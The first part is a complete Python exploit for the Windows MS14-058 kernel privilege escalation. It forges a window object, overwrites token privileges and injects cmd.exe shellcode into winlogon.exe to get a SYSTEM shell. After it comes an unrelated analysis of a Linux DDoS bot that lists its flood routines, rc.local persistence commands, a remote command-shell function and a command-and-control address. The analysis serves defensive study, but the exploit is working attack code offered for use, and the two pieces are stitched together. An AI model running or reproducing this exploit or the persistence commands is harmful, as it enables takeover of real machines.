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# Windows 8.0 - 8.1 x64 TrackPopupMenu Privilege Escalation (MS14-058) # CVE-2014-4113 Privilege Escalation # http://www.offensive-security.com # Thx to Moritz Jodeit for the beautiful writeup # http://www.exploit-db.com/docs/35152.pdf # Target OS Windows 8.0 - 8.1 x64 # Author: Matteo Memelli ryujin <at> offensive-security.com from ctypes import * from ctypes.wintypes import * import struct, sys, os, time, threading, signal ULONG_PTR = PVOID = LPVOID HCURSOR = HICON PDWORD = POINTER(DWORD) PQWORD = POINTER(LPVOID) LRESULT = LPVOID UCHAR = c_ubyte QWORD = c_ulonglong CHAR = c_char NTSTATUS = DWORD MIIM_STRING = 0x00000040 MIIM_SUBMENU = 0x00000004 WH_CALLWNDPROC = 0x4 GWLP_WNDPROC = -0x4 NULL = 0x0 SystemExtendedHandleInformation = 64 ObjectDataInformation = 2 STATUS_INFO_LENGTH_MISMATCH = 0xC0000004 STATUS_BUFFER_OVERFLOW = 0x80000005L STATUS_INVALID_HANDLE = 0xC0000008L STATUS_BUFFER_TOO_SMALL = 0xC0000023L STATUS_SUCCESS = 0 TOKEN_ALL_ACCESS = 0xf00ff DISABLE_MAX_PRIVILEGE = 0x1 FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000 PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) TH32CS_SNAPPROCESS = 0x02 WinFunc1 = WINFUNCTYPE(LPVOID, INT, WPARAM, LPARAM) WinFunc2 = WINFUNCTYPE(HWND, LPVOID, INT, WPARAM, LPARAM) WNDPROC = WINFUNCTYPE(LPVOID, HWND, UINT, WPARAM, LPARAM) bWndProcFlag = False bHookCallbackFlag = False EXPLOITED = False Hmenu01 = Hmenu02 = None # /* # * windows/x64/exec - 275 bytes # * http://www.metasploit.com # * VERBOSE=false, PrependMigrate=false, EXITFUNC=thread, # * CMD=cmd.exe # */ SHELLCODE = ( "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64" "\x2e\x65\x78\x65\x00") class LSA_UNICODE_STRING(Structure): """Represent the LSA_UNICODE_STRING on ntdll.""" _fields_ = [ ("Length", USHORT), ("MaximumLength", USHORT), ("Buffer", LPWSTR), ] class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure): """Represent the SYSTEM_HANDLE_TABLE_ENTRY_INFO on ntdll.""" _fields_ = [ ("Object", PVOID), ("UniqueProcessId", PVOID), ("HandleValue", PVOID), ("GrantedAccess", ULONG), ("CreatorBackTraceIndex", USHORT), ("ObjectTypeIndex", USHORT), ("HandleAttributes", ULONG), ("Reserved", ULONG), ] class SYSTEM_HANDLE_INFORMATION_EX(Structure): """Represent the SYSTEM_HANDLE_INFORMATION on ntdll.""" _fields_ = [ ("NumberOfHandles", PVOID), ("Reserved", PVOID), ("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1), ] class PUBLIC_OBJECT_TYPE_INFORMATION(Structure): """Represent the PUBLIC_OBJECT_TYPE_INFORMATION on ntdll.""" _fields_ = [ ("Name", LSA_UNICODE_STRING), ("Reserved", ULONG * 22), ] class MENUITEMINFO(Structure): """Contains information about a menu item.""" _fields_ = [ ("cbSize" , UINT), ("fMask" , UINT), ("fType" , UINT), ("fState" , UINT), ("wID" , UINT), ("hSubMenu" , HMENU), ("hbmpChecked" , HBITMAP), ("hbmpUnchecked", HBITMAP), ("dwItemData" , ULONG_PTR), ("dwTypeData" , LPWSTR), ("cch" , UINT), ("hbmpItem" , HBITMAP), ] class WNDCLASS(Structure): """Contains the window class attributes that are registered by the RegisterClass function.""" _fields_ = [ ("style" , UINT), ("lpfnWndProc" , WNDPROC), ("cbClsExtra" , INT), ("cbWndExtra" , INT), ("hInstance" , HINSTANCE), ("hIcon" , HCURSOR), ("hCursor" , HBITMAP), ("hbrBackground", HBRUSH), ("lpszMenuName" , LPWSTR), ("lpszClassName", LPWSTR), ] class PROCESSENTRY32(Structure): """Describes an entry from a list of the processes residing in the system address space when a snapshot was taken.""" _fields_ = [ ( 'dwSize' , DWORD ) , ( 'cntUsage' , DWORD) , ( 'th32ProcessID' , DWORD) , ( 'th32DefaultHeapID' , POINTER(ULONG)) , ( 'th32ModuleID' , DWORD) , ( 'cntThreads' , DWORD) , ( 'th32ParentProcessID' , DWORD) , ( 'pcPriClassBase' , LONG) , ( 'dwFlags' , DWORD) , ( 'szExeFile' , CHAR * MAX_PATH ) ] user32 = windll.user32 kernel32 = windll.kernel32 ntdll = windll.ntdll advapi32 = windll.advapi32 user32.PostMessageW.argtypes = [HWND, UINT, WPARAM, LPARAM] user32.PostMessageW.restype = BOOL user32.DefWindowProcW.argtypes = [HWND, UINT, WPARAM, LPARAM] user32.DefWindowProcW.restype = LRESULT user32.UnhookWindowsHook.argtypes = [DWORD, WinFunc1] user32.UnhookWindowsHook.restype = BOOL user32.SetWindowLongPtrW.argtypes = [HWND, DWORD, WinFunc2] user32.SetWindowLongPtrW.restype = LPVOID user32.CallNextHookEx.argtypes = [DWORD, DWORD, WPARAM, LPARAM] user32.CallNextHookEx.restype = LRESULT user32.RegisterClassW.argtypes = [LPVOID] user32.RegisterClassW.restype = BOOL user32.CreateWindowExW.argtypes = [DWORD, LPWSTR, LPWSTR, DWORD, INT, INT, INT, INT, HWND, HMENU, HINSTANCE, LPVOID] user32.CreateWindowExW.restype = HWND user32.InsertMenuItemW.argtypes = [HMENU, UINT, BOOL, LPVOID] user32.InsertMenuItemW.restype = BOOL user32.DestroyMenu.argtypes = [HMENU] user32.DestroyMenu.restype = BOOL user32.SetWindowsHookExW.argtypes = [DWORD, WinFunc1, DWORD, DWORD] user32.SetWindowsHookExW.restype = BOOL user32.TrackPopupMenu.argtypes = [HMENU, UINT, INT, INT, INT, HWND, DWORD] user32.TrackPopupMenu.restype = BOOL advapi32.OpenProcessToken.argtypes = [HANDLE, DWORD , POINTER(HANDLE)] advapi32.OpenProcessToken.restype = BOOL advapi32.CreateRestrictedToken.argtypes = [HANDLE, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, POINTER(HANDLE)] advapi32.CreateRestrictedToken.restype = BOOL advapi32.AdjustTokenPrivileges.argtypes = [HANDLE, BOOL, DWORD, DWORD, DWORD, DWORD] advapi32.AdjustTokenPrivileges.restype = BOOL advapi32.ImpersonateLoggedOnUser.argtypes = [HANDLE] advapi32.ImpersonateLoggedOnUser.restype = BOOL kernel32.GetCurrentProcess.restype = HANDLE kernel32.WriteProcessMemory.argtypes = [HANDLE, QWORD, LPCSTR, DWORD, POINTER(LPVOID)] kernel32.WriteProcessMemory.restype = BOOL kernel32.OpenProcess.argtypes = [DWORD, BOOL, DWORD] kernel32.OpenProcess.restype = HANDLE kernel32.VirtualAllocEx.argtypes = [HANDLE, LPVOID, DWORD, DWORD, DWORD] kernel32.VirtualAllocEx.restype = LPVOID kernel32.CreateRemoteThread.argtypes = [HANDLE, QWORD, UINT, QWORD, LPVOID, DWORD, POINTER(HANDLE)] kernel32.CreateRemoteThread.restype = BOOL kernel32.CreateToolhelp32Snapshot.argtypes = [DWORD, DWORD] kernel32.CreateToolhelp32Snapshot.restype = HANDLE kernel32.CloseHandle.argtypes = [HANDLE] kernel32.CloseHandle.restype = BOOL kernel32.Process32First.argtypes = [HANDLE, POINTER(PROCESSENTRY32)] kernel32.Process32First.restype = BOOL kernel32.Process32Next.argtypes = [HANDLE, POINTER(PROCESSENTRY32)] kernel32.Process32Next.restype = BOOL kernel32.GetCurrentThreadId.restype = DWORD ntdll.NtAllocateVirtualMemory.argtypes = [HANDLE, LPVOID, ULONG, LPVOID, ULONG, DWORD] ntdll.NtAllocateVirtualMemory.restype = NTSTATUS ntdll.NtQueryObject.argtypes = [HANDLE, DWORD, POINTER(PUBLIC_OBJECT_TYPE_INFORMATION), DWORD, DWORD] ntdll.NtQueryObject.restype = NTSTATUS ntdll.NtQuerySystemInformation.argtypes = [DWORD, POINTER(SYSTEM_HANDLE_INFORMATION_EX), DWORD, POINTER(DWORD)] ntdll.NtQuerySystemInformation.restype = NTSTATUS def log(msg, e=None): if e == "e": msg = "[!] " + msg if e == "d": msg = "[*] " + msg else: msg = "[+] " + msg print msg def getLastError(): """Format GetLastError""" buf = create_string_buffer(2048) if kernel32.FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL, kernel32.GetLastError(), 0, buf, sizeof(buf), NULL): log(buf.value, "e") else: log("Unknown Error", "e") class x_file_handles (Exception): pass def get_type_info(handle): """Get the handle type information.""" public_object_type_information = PUBLIC_OBJECT_TYPE_INFORMATION() size = DWORD(sizeof(public_object_type_information)) while True: result = ntdll.NtQueryObject(handle, ObjectDataInformation, byref(public_object_type_information), size, 0x0) if result == STATUS_SUCCESS: return public_object_type_information.Name.Buffer elif result == STATUS_INFO_LENGTH_MISMATCH: size = DWORD(size.value * 4) resize(public_object_type_information, size.value) elif result == STATUS_INVALID_HANDLE: return "INVALID HANDLE: %s" % hex(handle) else: raise x_file_handles("NtQueryObject", hex(result)) def get_handles(): """Return all the open handles in the system""" system_handle_information = SYSTEM_HANDLE_INFORMATION_EX() size = DWORD (sizeof (system_handle_information)) while True: result = ntdll.NtQuerySystemInformation( SystemExtendedHandleInformation, byref(system_handle_information), size, byref(size) ) if result == STATUS_SUCCESS: break elif result == STATUS_INFO_LENGTH_MISMATCH: size = DWORD(size.value * 4) resize(system_handle_information, size.value) else: raise x_file_handles("NtQuerySystemInformation", hex(result)) pHandles = cast( system_handle_information.Handles, POINTER(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * \ system_handle_information.NumberOfHandles) ) for handle in pHandles.contents: yield handle.UniqueProcessId, handle.HandleValue, handle.Object def WndProc(hwnd, message, wParam, lParam): """Window procedure""" global bWndProcFlag if message == 289 and not bWndProcFlag: bWndProcFlag = True user32.PostMessageW(hwnd, 256, 40, 0) user32.PostMessageW(hwnd, 256, 39, 0) user32.PostMessageW(hwnd, 513, 0, 0) return user32.DefWindowProcW(hwnd, message, wParam, lParam) def hook_callback_one(code, wParam, lParam): """Sets a new address for the window procedure""" global bHookCallbackFlag if ((cast((lParam+sizeof(HANDLE)*2),PDWORD)).contents).value == 0x1eb and\ not bHookCallbackFlag: bHookCallbackFlag = True if user32.UnhookWindowsHook(WH_CALLWNDPROC, CALLBACK01): # Sets a new address for the window procedure log("Callback triggered!") log("Setting the new address for the window procedure...") lpPrevWndFunc = user32.SetWindowLongPtrW\ ((cast((lParam+sizeof(HANDLE)*3),PDWORD).contents).value, GWLP_WNDPROC, CALLBACK02) return user32.CallNextHookEx(0, code, wParam, lParam) def hook_callback_two(hWnd, Msg, wParam, lParam): """Once called will return the fake tagWND address""" global EXPLOITED user32.EndMenu() EXPLOITED = True log("Returning the fake tagWND and overwriting token privileges...") return 0x00000000FFFFFFFB def buildMenuAndTrigger(): """Create menus and invoke TrackPopupMenu""" global Hmenu01, Hmenu02 log("Creating windows and menus...") wndClass = WNDCLASS() wndClass.lpfnWndProc = WNDPROC(WndProc) wndClass.lpszClassName = u"pwned" wndClass.cbClsExtra = wndClass.cbWndExtra = 0 # Registering Class if not user32.RegisterClassW(addressof(wndClass)): log("RegisterClassW failed", "e") sys.exit() # Creating the Window hWnd = user32.CreateWindowExW(0, u"pwned", u"pwned", 0, -1, -1, 0, 0, NULL, NULL, NULL, NULL) if not hWnd: log("CreateWindowExW Failed", "e") sys.exit() # Creating popup menu user32.CreatePopupMenu.restype = HMENU Hmenu01 = user32.CreatePopupMenu() if not Hmenu01: log("CreatePopupMenu failed 0x1", "e") sys.exit() Hmenu01Info = MENUITEMINFO() Hmenu01Info.cbSize = sizeof(MENUITEMINFO) Hmenu01Info.fMask = MIIM_STRING # Insert first menu if not user32.InsertMenuItemW(Hmenu01, 0, True, addressof(Hmenu01Info)): log("Error in InsertMenuItema 0x1", "e") user32.DestroyMenu(Hmenu01) sys.exit() # Creating second menu Hmenu02 = user32.CreatePopupMenu() if not Hmenu02: log("CreatePopupMenu failed 0x2", "e") sys.exit() Hmenu02Info = MENUITEMINFO() Hmenu02Info.cbSize = sizeof(MENUITEMINFO) Hmenu02Info.fMask = (MIIM_STRING | MIIM_SUBMENU) Hmenu02Info.dwTypeData = "" Hmenu02Info.cch = 1 Hmenu02Info.hSubMenu = Hmenu01 # Insert second menu if not user32.InsertMenuItemW(Hmenu02, 0, True, addressof(Hmenu02Info)): log("Error in InsertMenuItema 0x2", "e") user32.DestroyMenu(Hmenu01) user32.DestroyMenu(Hmenu01) sys.exit() # Set window callback tid = kernel32.GetCurrentThreadId() if not user32.SetWindowsHookExW(WH_CALLWNDPROC, CALLBACK01, NULL, tid): log("Failed SetWindowsHookExA 0x1", "e") sys.exit() # Crash it! log("Invoking TrackPopupMenu...") user32.TrackPopupMenu(Hmenu02, 0, -10000, -10000, 0, hWnd, NULL) def alloctagWND(): """Allocate a fake tagWND in userspace at address 0x00000000fffffff0""" hProcess = HANDLE(kernel32.GetCurrentProcess()) hToken = HANDLE() hRestrictedToken = HANDLE() if not advapi32.OpenProcessToken(hProcess,TOKEN_ALL_ACCESS, byref(hToken)): log("Could not open current process token", "e") getLastError() sys.exit() if not advapi32.CreateRestrictedToken(hToken, DISABLE_MAX_PRIVILEGE, 0, 0, 0, 0, 0, 0, byref(hRestrictedToken)): log("Could not create the restricted token", "e") getLastError() sys.exit() if not advapi32.AdjustTokenPrivileges(hRestrictedToken, 1, NULL, 0, NULL, NULL): log("Could not adjust privileges to the restricted token", "e") getLastError() sys.exit() # Leak Token addresses in kernel space log("Leaking token addresses from kernel space...") for pid, handle, obj in get_handles(): if pid==os.getpid() and get_type_info(handle) == "Token": if hToken.value == handle: log("Current process token address: %x" % obj) if hRestrictedToken.value == handle: log("Restricted token address: %x" % obj) RestrictedToken = obj CurrentProcessWin32Process = "\x00"*8 # nt!_TOKEN+0x40 Privileges : _SEP_TOKEN_PRIVILEGES # +0x3 overwrite Enabled in _SEP_TOKEN_PRIVILEGES, -0x8 ADD RAX,0x8 TokenAddress = struct.pack("<Q", RestrictedToken+0x40+0x3-0x8) tagWND = "\x41"*11 + "\x00\x00\x00\x00" +\ "\x42"*0xC + "\xf0\xff\xff\xff\x00\x00\x00\x00" +\ "\x00"*8 +\ "\x43"*0x145 + CurrentProcessWin32Process + "\x45"*0x58 +\ TokenAddress + "\x47"*0x28 ## Allocate space for the input buffer lpBaseAddress = LPVOID(0x00000000fffffff0) Zerobits = ULONG(0) RegionSize = LPVOID(0x1000) written = LPVOID(0) dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffffffffffff, byref(lpBaseAddress), 0x0, byref(RegionSize), VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) if dwStatus != STATUS_SUCCESS: log("Failed to allocate tagWND object", "e") getLastError() sys.exit() # Copy input buffer to the fake tagWND nSize = 0x200 written = LPVOID(0) lpBaseAddress = QWORD(0x00000000fffffff0) dwStatus = kernel32.WriteProcessMemory(0xffffffffffffffff, lpBaseAddress, tagWND, nSize, byref(written)) if dwStatus == 0: log("Failed to copy the input buffer to the tagWND object", "e") getLastError() sys.exit() log("Fake win32k!tagWND allocated, written %d bytes to 0x%x" %\ (written.value, lpBaseAddress.value)) return hRestrictedToken def injectShell(hPrivilegedToken): """Impersonate privileged token and inject shellcode into winlogon.exe""" while not EXPLOITED: time.sleep(0.1) log("-"*70) log("Impersonating the privileged token...") if not advapi32.ImpersonateLoggedOnUser(hPrivilegedToken): log("Could not impersonate the privileged token", "e") getLastError() sys.exit() # Get winlogon.exe pid pid = getpid("winlogon.exe") # Get a handle to the winlogon process we are injecting into hProcess = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid)) if not hProcess: log("Couldn't acquire a handle to PID: %s" % pid, "e") sys.exit() log("Obtained handle 0x%x for the winlogon.exe process" % hProcess) # Creating shellcode buffer to inject into the host process sh = create_string_buffer(SHELLCODE, len(SHELLCODE)) code_size = len(SHELLCODE) # Allocate some space for the shellcode (in the program memory) sh_address = kernel32.VirtualAllocEx(hProcess, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) if not sh_address: log("Could not allocate shellcode in the remote process") getLastError() sys.exit() log("Allocated memory at address 0x%x" % sh_address) # Inject shellcode in to winlogon.exe process space written = LPVOID(0) shellcode = QWORD(sh_address) dwStatus = kernel32.WriteProcessMemory(hProcess, shellcode, sh, code_size, byref(written)) if not dwStatus: log("Could not write shellcode into winlogon.exe", "e") getLastError() sys.exit() log("Injected %d bytes of shellcode to 0x%x" % (written.value, sh_address)) # Now we create the remote thread and point its entry routine to be head of # our shellcode thread_id = HANDLE(0) if not kernel32.CreateRemoteThread(hProcess, 0, 0, sh_address, 0, 0, byref(thread_id)): log("Failed to inject shellcode into winlogon.exe") sys.exit(0) log("Remote thread 0x%08x created" % thread_id.value) log("Spawning SYSTEM shell...") # Kill python process to kill the window and avoid BSODs os.kill(os.getpid(), signal.SIGABRT) def getpid(procname): """ Get Process Pid by procname """ pid = None try: hProcessSnap = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) pe32 = PROCESSENTRY32() pe32.dwSize = sizeof(PROCESSENTRY32) ret = kernel32.Process32First(hProcessSnap , byref(pe32)) while ret: if pe32.szExeFile == LPSTR(procname).value: pid = pe32.th32ProcessID ret = kernel32.Process32Next(hProcessSnap, byref(pe32)) kernel32.CloseHandle ( hProcessSnap ) except Exception, e: log(str(e), "e") if not pid: log("Could not find %s PID" % procname) sys.exit() return pid CALLBACK01 = WinFunc1(hook_callback_one) CALLBACK02 = WinFunc2(hook_callback_two) if __name__ == '__main__': log("MS14-058 Privilege Escalation - ryujin <at> offensive-security.com", "d") # Prepare the battlefield hPrivilegedToken = alloctagWND() # Start the injection thread t1 = threading.Thread(target=injectShell, args = (hPrivilegedToken,)) t1.daemon = False t1.start() # Trigger the vuln buildMenuAndTrigger() Source

The malware is not Elknot, IptabLesx or Billgates, is using AES to decrypt the target & CNC data, and contains 13 flooders (they added these one by one..so the next variant maybe more..). Originated from China, with the spreading method via ssh hacking. The malware firstly spotted few times in mid 2014. This sample is not the first sample/new one. This sample was served in the panel below, noted: just being released sample: Some notes: Flood mitigation can be applied to filter this specific header: (reff: .rodata:0x080ED38F && .rodata:0x080ED474) Accept-Language: zh-cn Accept-Language: zh-CN Autostart installation: sed -i -e '/%s/d' /etc/rc.local sed -i -e '2 i%s/%s' /etc/rc.local sed -i -e '2 i%s/%s start' /etc/rc.d/rc.local sed -i -e '2 i%s/%s start' /etc/init.d/boot.local Source files (unstripped) File : 'crtstuff.c' File : 'AES.cpp' File : 'main.cpp' File : 'eh_personality.cc' File : 'eh_alloc.cc' File : 'eh_exception.cc' File : 'eh_call.cc' File : 'pure.cc' File : 'eh_globals.cc' File : 'del_op.cc' File : 'eh_catch.cc' File : 'class_type_info.cc' File : 'allocator-inst.cc' File : 'string-inst.cc' File : 'eh_terminate.cc' File : 'eh_term_handler.cc' File : 'si_class_type_info.cc' File : 'eh_throw.cc' File : 'eh_unex_handler.cc' File : 'vterminate.cc' File : 'tinfo.cc' File : 'new_op.cc' File : 'eh_type.cc' File : 'cp-demangle.c' File : 'functexcept.cc' File : 'regex.cc' File : 'system_error.cc' File : 'functional.cc' File : 'future.cc' File : 'new_handler.cc' File : 'bad_typeid.cc' File : 'bad_alloc.cc' File : 'eh_ptr.cc' File : 'guard.cc' File : 'guard_error.cc' File : 'bad_cast.cc' File : 'ios_failure.cc' File : 'stdexcept.cc' File : 'condition_variable.cc' File : 'mutex.cc' File : 'thread.cc' File : 'unwind-dw2.c' File : 'unwind-dw2-fde-dip.c' File : 'libgcc2.c' File : 'unwind-c.c' Some PoC of AES: .text:0804832C ; AES::AES(unsigned char *) .text:0804832C public _ZN3AESC2EPh ;; .text:0804883E ; AES::KeyExpansion(unsigned char *, unsigned char [4][4]) .text:0804883E public _ZN3AES12KeyExpansionEPhPA4_A4_h ;; DDoS' (13 of them) functions: SYN_Flood, LSYN_Flood, UDP_Flood, TCP_Flood, DNS_Flood1, DNS_Flood2, DNS_Flood3, DNS_Flood4, CC_Flood, CC2_Flood, CC3_Flood, UDPS_Flood, UDP_Flood ;; DDOS 1 0x0804EE62: mov eax, [ebp+arg_0] mov eax, [eax+18Ch] cmp eax, 28h jg short 0x0804EE9D mov eax, [ebp+var_C] shl eax, 2 lea edx, id[eax] mov eax, [ebp+arg_0] mov [esp+0Ch], eax mov dword ptr [esp+8], offset _Z9SYN_FloodPv ; SYN_Flood(void *) mov dword ptr [esp+4], 0 mov [esp], edx call pthread_create jmp short 0x0804EEC8 ;; DDOS 2 0x0804EE9D: mov eax, [ebp+var_C] shl eax, 2 lea edx, id[eax] mov eax, [ebp+arg_0] mov [esp+0Ch], eax mov dword ptr [esp+8], offset _Z10LSYN_FloodPv ; LSYN_Flood(void *) mov dword ptr [esp+4], 0 mov [esp], edx call pthread_create ;; DDOS 3 0x0804EEED: mov eax, [ebp+var_C] shl eax, 2 lea edx, id[eax] mov eax, [ebp+arg_0] mov [esp+0Ch], eax mov dword ptr [esp+8], offset _Z9UDP_FloodPv ; UDP_Flood(void *) mov dword ptr [esp+4], 0 mov [esp], edx call pthread_create add [ebp+var_C], 1 ;; DDOS 4 0x0804EF3D: mov eax, [ebp+var_C] shl eax, 2 lea edx, id[eax] mov eax, [ebp+arg_0] mov [esp+0Ch], eax mov dword ptr [esp+8], offset _Z9TCP_FloodPv ; TCP_Flood(void *) mov dword ptr [esp+4], 0 mov [esp], edx call pthread_create add [ebp+var_C], 1 ;; DDOS 5 0x0804EF8D: mov eax, [ebp+var_C] shl eax, 2 lea edx, id[eax] mov eax, [ebp+arg_0] mov [esp+0Ch], eax mov dword ptr [esp+8], offset _Z10DNS_Flood1Pv ; DNS_Flood1(void *) mov dword ptr [esp+4], 0 mov [esp], edx call pthread_create add [ebp+var_C], 1 ;; DDOS 6 0x0804EFDD: mov eax, [ebp+var_C] shl eax, 2 lea edx, id[eax] mov eax, [ebp+arg_0] mov [esp+0Ch], eax mov dword ptr [esp+8], offset _Z10DNS_Flood2Pv ; DNS_Flood2(void *) mov dword ptr [esp+4], 0 mov [esp], edx call pthread_create add [ebp+var_C], 1 ;; DDOS 7 0x0804F02D: mov eax, [ebp+var_C] shl eax, 2 lea edx, id[eax] mov eax, [ebp+arg_0] mov [esp+0Ch], eax mov dword ptr [esp+8], offset _Z10DNS_Flood3Pv ; DNS_Flood3(void *) mov dword ptr [esp+4], 0 mov [esp], edx call pthread_create add [ebp+var_C], 1 ;; DDOS 8 0x0804F07D: mov eax, [ebp+var_C] shl eax, 2 lea edx, id[eax] mov eax, [ebp+arg_0] mov [esp+0Ch], eax mov dword ptr [esp+8], offset _Z10DNS_Flood4Pv ; DNS_Flood4(void *) mov dword ptr [esp+4], 0 mov [esp], edx call pthread_create add [ebp+var_C], 1 ;; DDOS 9 0x0804F0CD: mov eax, [ebp+var_C] shl eax, 2 lea edx, id[eax] mov eax, [ebp+arg_0] mov [esp+0Ch], eax mov dword ptr [esp+8], offset _Z8CC_FloodPv ; CC_Flood(void *) mov dword ptr [esp+4], 0 mov [esp], edx call pthread_create add [ebp+var_C], 1 ;; DDOS 10 0x0804F11D: mov eax, [ebp+var_C] shl eax, 2 lea edx, id[eax] mov eax, [ebp+arg_0] mov [esp+0Ch], eax mov dword ptr [esp+8], offset _Z9CC2_FloodPv ; CC2_Flood(void *) mov dword ptr [esp+4], 0 mov [esp], edx call pthread_create add [ebp+var_C], 1 ;; DDOS 11 0x0804F16D: mov eax, [ebp+var_C] shl eax, 2 lea edx, id[eax] mov eax, [ebp+arg_0] mov [esp+0Ch], eax mov dword ptr [esp+8], offset _Z9CC3_FloodPv ; CC3_Flood(void *) mov dword ptr [esp+4], 0 mov [esp], edx call pthread_create add [ebp+var_C], 1 ;; DDOS 12 0x0804F1BD: mov eax, [ebp+var_C] shl eax, 2 lea edx, id[eax] mov eax, [ebp+arg_0] mov [esp+0Ch], eax mov dword ptr [esp+8], offset _Z10UDPS_FloodPv ; UDPS_Flood(void *) mov dword ptr [esp+4], 0 mov [esp], edx call pthread_create add [ebp+var_C], 1 ;; DDOS 13 0x0804F20A: mov eax, [ebp+var_C] shl eax, 2 lea edx, id[eax] mov eax, [ebp+arg_0] mov [esp+0Ch], eax mov dword ptr [esp+8], offset _Z9UDP_FloodPv ; UDP_Flood(void *) mov dword ptr [esp+4], 0 mov [esp], edx call pthread_create add [ebp+var_C], 1 System command interface for execution.. this is bad...hacked server can be used as RAT .text:0x0804E6C2 ; Cmdshell(_MSGHEAD *) .text:0x0804E6C2 public _Z8CmdshellP8_MSGHEAD .text:0x0804E6C2 _Z8CmdshellP8_MSGHEAD proc near .text:0x0804E6C2 .text:0x0804E6C2 arg_0= dword ptr 8 .text:0x0804E6C2 .text:0x0804E6C2 push ebp .text:0x0804E6C3 mov ebp, esp .text:0x0804E6C5 sub esp, 18h .text:0x0804E6C8 mov eax, [ebp+arg_0] .text:0x0804E6CB add eax, 100h .text:0x0804E6D0 mov [esp], eax .text:0x0804E6D3 call system .text:0x0804E6D8 leave .text:0x0804E6D9 retn .text:0x0804E6D9 _Z8CmdshellP8_MSGHEAD endp .text:0x0804E6D9 We can expect CPU info with below format will be sent to remote: :` .text:0x080509E2 lea eax, [ebp+var_1110] .text:0x080509E8 add eax, 68h .text:0x080509EB mov [esp+4], eax .text:0x080509EF lea eax, [ebp+var_1110] .text:0x080509F5 add eax, 64h .text:0x080509F8 mov [esp], eax .text:0x080509FB call _Z10GetCpuInfoPjS_ ; GetCpuInfo(uint *,uint *) .text:0x08050A00 lea eax, [ebp+var_11D0] .text:0x08050A06 mov [esp], eax .text:0x08050A09 call sysinfo .text:0x08050A0E mov [ebp+var_24], eax .text:0x08050A11 mov eax, [ebp+var_11C0] .text:0x08050A17 shr eax, 14h .text:0x08050A1A mov [ebp+var_10A4], eax .text:0x08050A20 mov edx, [ebp+var_11C0] .text:0x08050A26 mov eax, [ebp+var_11BC] .text:0x08050A2C mov ecx, edx .text:0x08050A2E sub ecx, eax .text:0x08050A30 mov eax, ecx .text:0x08050A32 shr eax, 14h .text:0x08050A35 mov [ebp+var_10A0], eax .text:0x08050A3B lea ebx, [ebp+var_43C] .text:0x08050A41 mov eax, 0 .text:0x08050A46 mov edx, 100h .text:0x08050A4B mov edi, ebx .text:0x08050A4D mov ecx, edx .text:0x08050A4F rep stosd .text:0x08050A51 mov ebx, [ebp+var_10A0] .text:0x08050A57 mov ecx, [ebp+var_10A4] .text:0x08050A5D mov edx, [ebp+var_10A8] .text:0x08050A63 mov eax, [ebp+var_10AC] .text:0x08050A69 mov dword ptr [esp+20h], offset aHacker ; "Hacker" .text:0x08050A71 mov [esp+1Ch], ebx .text:0x08050A75 mov [esp+18h], ecx .text:0x08050A79 mov [esp+14h], edx .text:0x08050A7D mov [esp+10h], eax .text:0x08050A81 lea eax, [ebp+var_1110] .text:0x08050A87 mov [esp+0Ch], eax .text:0x08050A8B mov dword ptr [esp+8], offset aVersonexLinuxS ; "VERSONEX:Linux-%s|%d|%d MHz|%dMB|%dMB|%"... .text:0x08050A93 mov dword ptr [esp+4], 400h .text:0x08050A9B lea eax, [ebp+var_43C] .text:0x08050AA1 mov [esp], eax .text:0x08050AA4 call snprintf .text:0x08050AA9 mov eax, ds:MainSocket .text:0x08050AAE test eax, eax CNC: sin_port=htons(48080), sin_addr=inet_addr("119.147.145.215") Loc: 119.147.145.215||4134 | 119.144.0.0/14 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET GUANGDONG PROVINCE NETWORK DOWNLOAD Pass: infected Source